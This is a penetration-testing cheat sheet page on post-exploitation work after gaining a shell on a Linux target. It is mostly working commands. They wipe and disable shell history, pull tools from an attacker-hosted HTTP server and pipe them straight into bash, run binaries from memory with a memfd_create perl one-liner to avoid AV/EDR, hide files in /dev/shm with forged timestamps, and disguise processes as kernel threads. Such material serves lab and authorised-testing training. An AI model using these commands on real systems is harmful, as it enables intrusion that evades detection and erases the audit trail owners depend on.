Shell & Tooling
Sections Shell & Tooling
What to do after you have a shell on the target. For getting the shell in the first place, see Reverse Shells and 04 Initial Access .
i. Silence the shell
Disable history, locale, less and friends, before doing anything noisy:
unset HISTFILE
export HISTFILE=/dev/null
export HISTSIZE=0
export LESSHISTFILE=/dev/null
export MYSQL_HISTFILE=/dev/null
export PYTHONHISTFILE=/dev/null
export REDISCLI_HISTFILE=/dev/null
Leading-space trick, any command starting with a space is not logged (bash with HISTCONTROL=ignorespace):
id ## leading space, not in history
Wipe existing user history before logout:
cat /dev/null > ~/.bash_history
history -c
ii. Set a usable environment
The shell you land in is usually broken. Fix it once:
export TERM=xterm-256color
export SHELL=/bin/bash
export PATH=$PATH:/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin
export LANG=C.UTF-8
stty rows 50 columns 200
A working prompt so you can see where commands end:
PS1='\[\033[36m\]\u\[\033[m\]@\[\033[32m\]\h:\[\033[33;1m\]\w\[\033[m\]\$ '
For TTY upgrade steps, see Reverse Shells -> section vi.
iii. Useful aliases on the foothold
alias ll='ls -lah'
alias ..='cd ..'
alias g='grep -RIn --color=auto'
## find writable files only as current user
alias fwrite='find / -type f -writable 2>/dev/null | grep -v "/proc"'
## find SUID binaries
alias fsuid='find / -perm -4000 -type f 2>/dev/null'
iv. tmux for session survival
Reconnect after SSH disconnect, run linpeas in background, do parallel work:
tmux new -s work
## Detach: Ctrl-b d
## Reattach: tmux a -t work
## List: tmux ls
Drop tmux on the target when it’s missing (static binary):
## On attacker, fetch a static tmux
curl -L -o tmux https://github.com/permaweb/tmux-static/releases/latest/download/tmux-linux-amd64
## Upload via [File Transfer](https://jinpwn.dev/cheatsheets/misc/file-transfer/), then on target:
chmod +x tmux && ./tmux
v. Static binaries to keep in your kit
When the target lacks tools, drop pre-built statics:
- busybox — every coreutil in one binary, when /bin is hollowed out
- socat — port forwards, TLS, Reverse Shells
- chisel — reverse SOCKS, see Pivoting
- ligolo agent — L3 tunnel, see Pivoting
- pspy64 — cron and process spy without root, see 05 Local Enum
- linpeas.sh — automated triage, see 05 Local Enum
- nmap — when you need to scan from the foothold
- curl/wget static — when neither is installed
Mirror them once on attacker, serve from one HTTP root:
mkdir ~/kit && cd ~/kit
curl -LO https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
curl -LO https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
curl -LO https://github.com/jpillora/chisel/releases/latest/download/chisel_1.10.1_linux_amd64.gz
gunzip chisel_*.gz && mv chisel_* chisel
chmod +x pspy64 chisel linpeas.sh
python3 -m http.server 80
vi. Drop and run from memory (no disk write)
Runs the script without ever creating a file, dodges file-based AV/EDR:
curl -s http://10.10.14.1/linpeas.sh | bash
wget -qO- http://10.10.14.1/linpeas.sh | bash
For binaries, memfd_create trick (no disk artifact, needs perl or python):
## Pull pspy64 and exec it from a memfd:
curl -s http://10.10.14.1/pspy64 | perl -e 'use POSIX; my $fd=syscall(319,"x",1); open(my $f,">&=$fd"); print $f <STDIN>; exec {"/proc/$$/fd/$fd"} "pspy"'
If EDR is in play, every file you drop is a sample for analysis. Pipe straight from curl | bash, use python -c, or use /dev/shm/ (RAM-backed, often unmonitored) instead of /tmp/.
vii. Where to put things
/dev/shm/ ## RAM-backed, fast, often unmonitored, cleared on reboot
/tmp/ ## monitored by many EDRs, sticky bit set
/var/tmp/ ## persistent across reboots, less monitored than /tmp
~/.cache/ ## blends in for user-owned files
~/.config/ ## same, looks like normal app data
Touch timestamps to match a system file so they blend:
touch -r /etc/passwd /dev/shm/.tool
viii. Hide a running process (quick OpSec)
Rename a process via exec -a:
(exec -a "[kworker/0:1]" ./pspy64 &)
Move binary to a name that looks legit:
cp ./linpeas.sh /dev/shm/.dbus-update
bash /dev/shm/.dbus-update
ix. Check what you have before pulling tools
Always check what is already on the box, avoid downloading what’s local:
command -v python3 python perl ruby gcc make nc ncat socat wget curl nmap masscan
ls -la /usr/bin/ | grep -E 'python|perl|ruby|nc|socat|gcc'
If the box has python3 and curl, you do not need to drop ten static binaries. Use what’s there, leave nothing behind.